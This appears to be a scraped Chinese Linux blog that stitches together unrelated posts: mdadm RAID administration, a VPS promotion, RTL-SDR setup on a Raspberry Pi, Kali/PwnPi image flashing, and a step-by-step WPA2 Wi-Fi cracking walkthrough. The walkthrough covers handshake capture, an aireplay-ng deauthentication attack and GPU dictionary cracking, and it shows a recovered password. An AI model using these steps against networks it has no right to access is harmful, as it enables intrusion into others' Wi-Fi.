在路上 ……

Linux系统运维与架构

(此文摘自百度文库)

1.查看RAID的信息
mdadm –detail /dev/md0
这里包含RAID的详细信息

2.删除和恢复某个RAID磁盘(假设使用hda1)
先删除某个磁盘:
mdadm /dev/md0 -f /dev/hda1—–标记错误磁盘
mdadm /dev/md0 -r /dev/hda1—–去除错误磁盘

恢复之前删除的磁盘
mdadm /dev/md0 -a /dev/hda1

此时查看RAID信息可以看到/dev/hda1自动成为了热备盘

3.扩展已有的RAID
这里先创建要添加的RAID分区:/dev/hdd1
添加磁盘
mdadm –add /dev/md0 /dev/hdd1
此时md0中增加了一个spare磁盘,接下来就是扩展了
mdadm –grow /dev/md0 –raid-devices=4
这里在grow模式下增加了设备,也可以增加设备容量
fsck.ext3 /raid
校验文件系统,为扩展作准备
resize2fs /raid
扩展文件系统,更新系统信息

4.创建RAID控制文件
echo DEVICE /dev/hd[a-d]1 >> /etc/mdadm.conf
mdadm -Ds >> /etc/mdadm.conf
此时可以看到配置文件如下:
DEVICE /dev/hda1 /dev/hdb1 /dev/hdc1 /dev/hdd1
ARRAY /dev/md0 level=raid5 num-devices=4
UUID = 9ca85577:25660a81:67152b19:3235d3s6

5.控制RAID起停
mdadm -S /dev/md0—–停止raid
怎么启动RAID呢?
如果已经配置了RAID控制文件,则
mdadm -As /dev/md0
根据配置文件的描述,RAID自动启动
如果没有配置文件
mdadm -As /dev/md0 /dev/hd[a-d]1
此时给出RAID的构成盘,RAID启动成功

linux做实验时创建了软raid. 后来重新创建raid时 提示如下
[root@client ~]# mdadm -C /dev/md0 -l 1 -n 2 /dev/sdb5 /dev/sdb6
mdadm: another array by this name is already running.

[root@client ~]# mdadm -S /dev/md0
mdadm: stopped /dev/md0
[root@client ~]# mdadm -D /dev/md0
mdadm: md device /dev/md0 does not appear to be active.

然后就可以创建raid了.

mdadm -S, –stop
deactivate array, releasing all resources.

有些情况还是不行
mdadm -S /dev/md0
mdadm -D /dev/md0
需要重启后生效.


以前用的host大法总是不太稳定,也担心被各种黑。正好看到bwg有个9.9刀一年的vps,用来做个ss是最合适不过了。
废话不多说直接下单,洛杉矶机房的网络还是很不错的,从我家电信网络ping过去基本保持在180ms左右

PING 104.194.78.170 (104.194.78.170): 56 data bytes
64 bytes from 104.194.78.170: icmp_seq=0 ttl=52 time=185.181 ms
64 bytes from 104.194.78.170: icmp_seq=1 ttl=52 time=185.103 ms
64 bytes from 104.194.78.170: icmp_seq=2 ttl=52 time=187.705 ms
64 bytes from 104.194.78.170: icmp_seq=3 ttl=52 time=184.651 ms
64 bytes from 104.194.78.170: icmp_seq=4 ttl=52 time=184.948 ms
64 bytes from 104.194.78.170: icmp_seq=5 ttl=52 time=185.131 ms
^C
--- 104.194.78.170 ping statistics ---
6 packets transmitted, 6 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 184.651/185.453/187.705/1.022 ms

vps的配置只能说足够,基本配置如下:

  • 硬盘:5G SSD;
  • 内存:512M;
  • CPU:1x Intel Xeon;
  • 流量:每月 500G;
  • 带宽:1G;

搬瓦工支持 PayPal 付款,支持月付,但年付显然更优惠。好东西不敢独享,赶快去抢个吧,据说很快就会被抢光了,购买连接:Bandwagon


首先需要有一台运行kali linux的机器,无论是虚拟机或物理机,一块支持监听模式的无线网卡

root@kali:~# iwconfig 
wlan1     IEEE 802.11bg  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          
eth0      no wireless extensions.

lo        no wireless extensions.

查看无线网卡设备名

root@kali:~# airmon-ng start wlan1


Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e 
PID     Name
2772    dhclient
4415    wpa_supplicant


Interface       Chipset         Driver

wlan1           Realtek RTL8187L        rtl8187 - [phy0]
                                (monitor mode enabled on mon0)

进入监听模式

airodump-ng mon0 会列出搜索到的所有无线网络
从中找到你要测试破解的,copy下来BSSID

root@kali:~/test# airodump-ng -w nenew  -c 11 --bssid E4:D3:32:41:56:12   mon0

 CH 11 ][ Elapsed: 1 min ][ 2014-09-12 23:31 ][ WPA handshake: E4:D3:32:41:56:12                                         
                                                                                                                                                                                                   
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                                                                                   
 E4:D3:32:41:56:12  -44  53      171        7    0  11  54e. WPA2 CCMP   PSK  TP-LINK_5612                                                                                                         
                                                                                                                                                                                                   
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                         
                                                                                                                                                                                                   
 E4:D3:32:41:56:12  00:00:00:00:00:00    0    0 - 1      0    18135                                                                                                                                 
 E4:D3:32:41:56:12  64:B4:73:40:60:5C  -21    1e- 6e     0        7

当看到WPA handshake:说明抓到了握手包,就可以来破解了

如果一直抓不到,可以用如下命令来攻击,强迫重新握手

aireplay-ng -0 10 -a E4:D3:32:41:56:12  -c 64:B4:73:40:60:5C  mon0  --ignore-negative-one

抓到握手包后,就可以用字典来跑密码了。

root@kali:~/test# aircrack-ng -w ./password.txt  nenew-21.cap 
Opening nenew-21.cap
Read 18654 packets.

   #  BSSID              ESSID                     Encryption

   1  D0:C7:C0:6E:53:53  TP-LINK_5353              WPA (1 handshake)

Choosing first network as target.

Opening nenew-21.cap
Reading packets, please wait...

跑的速度如何取决于你机器的性能,更取决于你的字典
如果用物理机,有比较好的显卡,还可以用显卡来加速破解,效率比cpu高的多

kali linux下装显卡驱动,sdk等,参考如下链接
http://xiao106347.blog.163.com/blog/static/2159920782013113013549364
http://vistb.net/2011/08/how-to-crack-wifi-part-four/
http://blog.sina.com.cn/s/blog_56a70c040101exje.html

我这里用显卡,很快就跑出了密码

root@kali:~# pyrit -r nenew-21.cap  -i password.txt -b D0:C7:C0:6E:53:53 attack_passthrough
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'nenew-21.cap' (1/1)...
Parsed 14 packets (14 802.11-packets), got 1 AP(s)

Tried 4420221 PMKs so far; 86496 PMKs per second.

The password is 'qq123789'.

参考链接:http://lewiscomputerhowto.blogspot.com/2014/06/how-to-hack-wpawpa2-wi-fi-with-kali.html


Software configeration

First update you Raspberry Pi wheezy Linux to the latest version.

sudo apt-get update
sudo apt-get install git 
sudo apt-get install cmake
sudo apt-get install libusb-1.0-0.dev
sudo apt-get install build-essential

Now install the RTL-2832U USB dongle driver src and compile

git clone git://git.osmocom.org/rtl-sdr.git
cd rtl-sdr/
mkdir build
cd build
cmake ../ -DINSTALL_UDEV_RULES=ON
make
sudo make install
sudo ldconfig

Edit the following file /etc/modprobe.d/raspi-blacklist.conf

use your favourite editor like nano or vi

sudo vi /etc/modprobe.d/raspi-blacklist.conf

add the following lines in the file.
blacklist dvb_usb_rtl28xxu
blacklist rtl2832
blacklist rtl2830

Save and exist

You need to reboot. so just run sudo shutdown -r 0

Run this command sudo rtl_test -t to test the compiled driver
Now you maybe see a error like this:

pi@raspberrypi ~/rtl-sdr/build $ rtl_test -t
Found 1 device(s):
  0:  Generic, RTL2832U, SN: =

Using device 0: Generic RTL2832U
usb_open error -3
Please fix the device permissions, e.g. by installing the udev rules file rtl-sdr.rules
Failed to open rtlsdr device #0.

Need edit rtl-sdr.rules file

sudo vi /etc/udev/rules.d/rtl-sdr.rules

find the line and change it like this

SUBSYSTEMS=="usb", ATTRS{idVendor}=="0bda", ATTRS{idProduct}=="2832", MODE:="0666", GROUP="adm", SYMLINK+="rtl_sdr"

now you re-run this command sudo rtl_test -t to test. In my case the output look like this:

pi@raspberrypi ~ $ rtl_test -t
Found 1 device(s):
  0:  Generic, RTL2832U, SN: 77771111153705700

Using device 0: Generic RTL2832U
Found Rafael Micro R820T tuner
Supported gain values (29): 0.0 0.9 1.4 2.7 3.7 7.7 8.7 12.5 14.4 15.7 16.6 19.7 20.7 22.9 25.4 28.0 29.7 32.8 33.8 36.4 37.2 38.6 40.2 42.1 43.4 43.9 44.5 48.0 49.6 
Sampling at 2048000 S/s.
No E4000 tuner found, aborting.

To run the rtl server type rtl_tcp -a X.X.X.X , use you ip address of your Pi replace x.x.x.x.

Have Fun.


These fixes should work when trying to boot on the Model B & B+ Raspberry Pi

Requirements

Raspberry Pi Firmware

Kali

  1. Grab the Kali Pi Image
  2. Grab the Raspberry Pi Firmware
  3. dd (dd if=kali-pi.img of=/dev/sdb bs=512k) the Kali image to 8GB+ SD card
  4. Copy start.elf, start_x.elf & start_cd.elf to the root directrory of the SD card (choose to replace any exsisting files)
  5. Boot your Pi (root/toor)

PwnPi

  1. Grab the PwnPi Image
  2. Download the Raspberry Pi Firmware
  3. dd (dd if=PwnPi-pi.img of=/dev/sdb bs=512k) the PwnPi image to 8GB+ SD card
  4. Copy all files in the boot folder to the root directrory of the SD card (choose to replace any exsisting files)
  5. Boot your Pi (root/toor)

Typecho 强力驱动